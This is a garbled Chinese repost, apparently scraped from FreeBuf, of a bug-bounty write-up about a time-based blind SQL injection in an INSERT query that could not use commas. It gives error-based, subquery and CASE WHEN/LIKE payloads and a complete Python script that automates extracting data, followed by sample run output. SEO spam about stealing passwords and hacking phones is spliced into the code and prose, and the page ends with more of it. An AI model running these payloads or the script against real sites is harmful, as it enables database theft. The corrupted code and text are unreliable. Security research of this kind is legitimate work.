盗 *** 登陆密码武器-挖地洞工作经验 | 一次INSERT查看的无分号SQL注入漏洞构造利用($10k)
文 *** 享的是作者在一次众测中的SQL出错型注入漏洞发觉全过程,趣味之处取决于,在事后漏洞利用的构造中,假如在总体目标服务器端数据库查询逻辑性的INSERT查看中应用分号(Comma),将造成 构造的Payload不能用,这类状况下,作者根据综合性Time-based注入、Case When和Like提交成功完成了SQL注入,漏洞得到 了生产商$10,000美金的奖赏。
漏洞详细介绍
INSERT查看或UPDATE型SQL注入漏洞也算作较为普遍的了,在一切SQL注入漏洞中,缘故全是因为不安全的客户键入传送给了后端开发数据统计。本次检测数据库查询中的客户键入逻辑性大约能够那样叙述:
$email=$_POST['email'];
$name=$_POST['name'];
$review=$_POST['review'];
$query="insert *** 黑客务必知道的英语英语单词 into reviews(review,email,name) values ('$review','$email','$name')";
mysql_query($query,$conn);
依上所看,其相匹配的要求体应该是那样的:
review=test review&email=info@example.com& *** 黑客务必知道的英语英语单词amp;name=test name
因此 ,经剖析,很有可能存有下列的INSERT列插入语句:
insert into reviews(review,email,name) values ('test review','info@example.com','test name')
最后,在总体目标数据库查询中产生的結果便是:
MariaDB *** 黑客务必知道的英语英语单词[dummydb]> insert into reviews(review,email,name) values ('test review','info@example.com','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB[dummydb]> select * from reviews;
-- *** 黑客务必知道的英语英语单词----------- ------------------ -----------
| review | email | name |
------------- ------- *** 黑客务必知道的英语英语单词----------- -----------
| test review | info@example.com | test name |
------------- ------------------ -----------
1 row in set (0.000 *** 黑客务必知道的英语英语单词 sec)
总的来说,在这里,大家就会有三种方式来对这一数据库查询逻辑性开展漏洞注入构造。
用extractvalue方式构造的出错型注入
能够把所述剖析中的review、email、name三个列 *** 值换为:
test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1
这类构造状况,会产生一个泄漏总体目标数据库查询的SQL出错注入:
MariaDB *** 黑客务必知道的英语英语单词[dummydb]> insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');
ERROR 1105 (HY000): XPATH syntax error: '
*** 黑客务必知道的英语英语单词dummydb'
应用子查询 (Subquery)
根据之上出错型注入,我们可以进一步利用子查询 (Subquery) *** 去载入数据库查询內容,并把它显示信息在 *** 列的內容中。比如,大家把review这一列的值构造为:
jnk review',(select user()),'dummy name')-- -
那麼,最终的 *** 查看句子会是:
insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');
细心看,因为在其中存有注解符 –,因此 ,,’info@example.com’,'test name& *** 黑客务必知道的英语英语单词rsquo;); 便会被注解掉,而在其中的(select user())是对当今数据库查询客户的查看要求,一般会是root@localhost。因此 ,运作所述 *** 查看句子以后,数据库查询中review、email、name三列內容便会相对变成:jnk review、root@localhost、dummy name,很容易了解。以下:
MariaDB[dummydb]> insert into *** 黑客务必知道的英语英语单词 reviews(review,email,name) values ('jnk review',(select user()),'dummy name');--,'info@example.com','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB[dummydb]> select * from reviews;
------------- ------- *** 黑客务必知道的英语英语单词----------- ------------
| review | email | name |
------------- ------------------ *** 黑客务必知道的英语英语单词------------
| test review | info@example.com | test name |
| jnk review | root@localhost | dummy name |
------------- ------------------ ------------
2 rows in set (0.000 sec)
MariaDB[dummydb]>
Time-based的盲注构造
之上的构造Payload只有表明数据库查询內部的一个解决逻辑性,但在运用端看来不可以造成 出错,并且也没法回显大家的插入语句結果,乃至是压根无法了解大家的插入语句是不是true 或false的状况,根据此,我们可以对它开展Time-based的盲注构造,融合If句子和substring方式,有下列Payload:
xxx'-(IF((substring((select *** 黑客务必知道的英语英语单词 database()),1,1)) = 'd', sleep(5), 0))-'xxxx
假如查看句子为真,那麼之后端数据库查询便会休眠状态5秒后才輸出回显結果,用这类分辨 *** ,我们可以来推测数据库查询中的实际构架 *** 。具体做法可参照detectify试验室的 sqli-in-insert-worse-than-select。
*** 黑客务必知道的英语英语单词综合分析
拥有之上的剖析,整体的漏洞利用应当不是问题了,可是,在我当今检测的总体目标数据库查询中,其存有注入漏洞的主要参数是urls[] 和 methods[],并且他们的值全是用分号 -“,”开展隔开的,我依照之上剖析的Payload构造开展检测后发觉,在其中的分号会毁坏大家的Payload构造,最后会造成 注入利用失败。
以总体目标数据库查询的下列逻辑性而言:
$urls_input=$_POST['urls'];
$urls *** 黑客务必知道的英语英语单词 = explode(",", $urls_input);
print_r($urls);
foreach($urls as $url){
mysql_query("insert into xxxxxx (url,method) values ('$url','method')")
}
如果我们依照以前剖析的Payload构造开展检测,大家把在其中的urls值更换为:
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx
那麼因为分号的存有,总体目标数据库查询后端运作解决方式便会是:
*** 黑客务必知道的英语英语单词
Array
(
[0]=> xxx'-(IF((substring((select database())
[1]=> 1
[2]=> 1)) = 'd'
[3] => sleep(5)
黑客必须知道的英语单词[4] => 0))-'xxxx
)
所以,由于逗号的分隔作用,这样的处理也就无法形成我们的注入利用了。
解决 ***
所以,这样来看,我们的Payload中必须不能包含逗号。之一步,我们需要找到一个代替IF条件且能用逗号和其它语句共同作用的 *** 语句。这里的话,选用case when比较适合,所以这里利用它的一个基本用黑客必须知道的英语单词法为:
MariaDB [dummydb]> select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;
+--------------------------------------------------------------------------+
| CASE WHEN (黑客必须知道的英语单词(select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END 黑客必须知道的英语单词 |
+--------------------------------------------------------------------------+
| 黑客必须知道的英语单词 0 |
+--------------------------------------------------------------------------+
1 row in set (3.00黑客必须知道的英语单词1 sec)
如果我们构造查询的语句为真,那么,数据库就会休眠3秒执行输出。
另外,我们还要找到代替substring的 *** ,那么,我们可以用Like操作来实现,比如以下逻辑:
MariaDB [dummydb]> select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 黑客必须知道的英语单词 END;
+----------------------------------------------------------------------+
| CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END |
+-----------------------------------------------------------黑客必须知道的英语单词-----------+
| &黑客必须知道的英语单词nbsp; 0 |
+----------------------------黑客必须知道的英语单词------------------------------------------+
1 row in set (3.001 sec)
其中的((select database()) like ‘d%’) 意思是,选取出的以 d 开头的模式字符串,如果这种模式匹配存在,数据库就会休眠3秒后输出。
所以,最后的综合就是把这个查询和INSERT连接在一起,出于测试保密原黑客必须知道的英语单词则,隐去目标主站,最终的Payload利用链接为:
http://xxxxxxxx/'-(select CASE WHEN ((select database()) like 'd%') THEN (sleep(4)) ELSE 2 END)-'xxx
这种Payload利用中,可以把CASE 黑客必须知道的英语单词 WHEN和Like操作设置为对字符串(Char)的暴力破解,所以,最后成型的Payload是这样的:
urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
漏洞利用
对以上Payload进行手动测试会是一件非常耗时的事,所以,我编写了以下的Python脚本对它进行一个自黑客必须知道的英语单词动化利用:
import requests
import sys
import time
# xxxxxxxxxexample.com SQLi POC
# Coded by Ahmed Sultan (0x4148)
if len(sys.argv) == 1:
print '''
Usage : python 黑客必须知道的英语单词 sql.py "QUERY"
Example : python sql.py "(select database)"
'''
sys.exit()
query=sys.argv[1]
print "[*] Obtaining length"
url = 黑客必须知道的英语单词 "https://xxxxxxxxxexample.com:443/sub"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
"Accept": 黑客必须知道的英语单词 "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Cookie": 'xxxxxxxxxxxxxxxxxxx',
"Referer": 黑客必须知道的英语单词 "https://www.xxxxxxxxxexample.com:443/",
"Host": "www.xxxxxxxxxexample.com",
"Connection": "close",
"X-Requested-With":"XMLHttpRequest",
"Content-Type": 黑客必须知道的英语单词 "application/x-www-form-urlencoded"}
for i in range(1,100):
current_time=time.time()
data={"methods[]": "on-site", "urls[]": 黑客必须知道的英语单词 "jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"}
response=requests.post(url, headers=headers, 黑客必须知道的英语单词 data=data).text
response_time=time.time()
time_taken=response_time-current_time
print "Executing jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)黑客必须知道的英语单词-'"+" took "+str(time_taken)
if time_taken > 2:
print "[+] Length of DB query output is : "+str(i)
length=i+1
break
i=i+1
print &黑客必须知道的英语单词quot;[*] obtaining query output\n"
outp=''
#Obtaining query output
charset="abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."
for i in range(1,length):
for 黑客必须知道的英语单词 char in charset:
current_time=time.time()
data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') 黑客必须知道的英语单词 THEN (sleep(1)) ELSE 2 END) as char)-'"}
response=requests.post(url, headers=headers, data=data).text
response_time=time.time()
time_taken=response_time-current_time
print 黑客必须知道的英语单词 "Executing jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-' took "+str(time_taken)
if time_taken > 2:
print &黑客必须知道的英语单词quot;Got '"+char+"'"
outp=outp+char
break
i=i+1
print "QUERY output : "+outp
脚本利用示例:
[19:38:36] root:/tmp 黑客必须知道的英语单词 # python sql7.py '(select "abc")'
[*] Obtaining length
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=1) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.黑客必须知道的英语单词538205862045
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=2) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.531971931458
Executing jnkfooo'-cast((select CASE WHEN ((select length(黑客必须知道的英语单词(select "abc")))=3) THEN (sleep(1)) ELSE 2 END) as char)-' took 5.55048894882
[+] Length of DB query output is : 3
[*] obtaining query output
Executing jnkfooo'-cast((select CASE WHEN ((select 黑客必须知道的英语单词 "abc") like 'a%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.5701880455
Got 'a'
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aa%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.6350619黑客必须知道的英语单词79294
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'ab%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.61513400078
Got 'b'
Executing jnkfooo'-cast((select CASE WHEN ((select 黑客必须知道的英语单词 "abc") like 'aba%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.565879821777
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abb%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.553005933762
黑客必须知道的英语单词Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abc%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.6208281517
Got 'c'
QUERY output : abc
最终,该漏洞获得目标测试厂商$10,000美金的奖励:
最终的那个SQL注入测试Payload,可以当成你注入测试时的一个用例:
xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1))黑客必须知道的英语单词 ELSE 2 END) as char)-'
*参考来源:redforce,clouds编译,转载请注明来自FreeBuf.COM
110指挥中心系统110指挥中心系统是应急指挥的中枢,是 *** 中心、信息中心、信息发布中心、通迅中心、调度中心、监控。盗 *** 密码神器
怎样简单入侵别人手机极品黑客作者:飞天的狐狸黑客特工作者:小李叹花少年黑客传奇作者:无人0049重生之黑客作者:潇流超级黑客我黑了全世界不为加分只为分享抢黑客必须知道的英语单词首赞已赞过。
不会找不到工作,如果你没有那个能力在耀武扬威忽悠的话填写上去后的结果是你上任工作马上就会被众多大牛逼下来,比如在2013年4月7日《非你莫属》求职。
。"黑客帝国"代码雨。你可以截图么,没看过帝国的那个效果我的世界聊天栏怎么只显示文字背后黑客宣哥无限叼2432017-08-29软件互联网我的世界搜索相关资料答题抽奖首次认真答题后即可获得3次抽奖机会,1。
*** 入侵,在对面未知的情况下你入侵进入,就已经违法了,如黑客必须知道的英语单词果不做很严重的事情一般是不会被抓的,像是入侵了企业的服务器给清空了,或者说入侵个人电脑,把。通过手机号入侵手机
PC版地图界面,点开左边的菜单按钮,单击“已开启标签”。可追问!
盗 *** 密码神器有黑客全世界每个国家都有黑客是一个中文词语,在台湾地区对应的中文词语为骇客,皆源自英文hacker,不同地区的中文使用习惯造成了翻译的差别。但2012年。
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。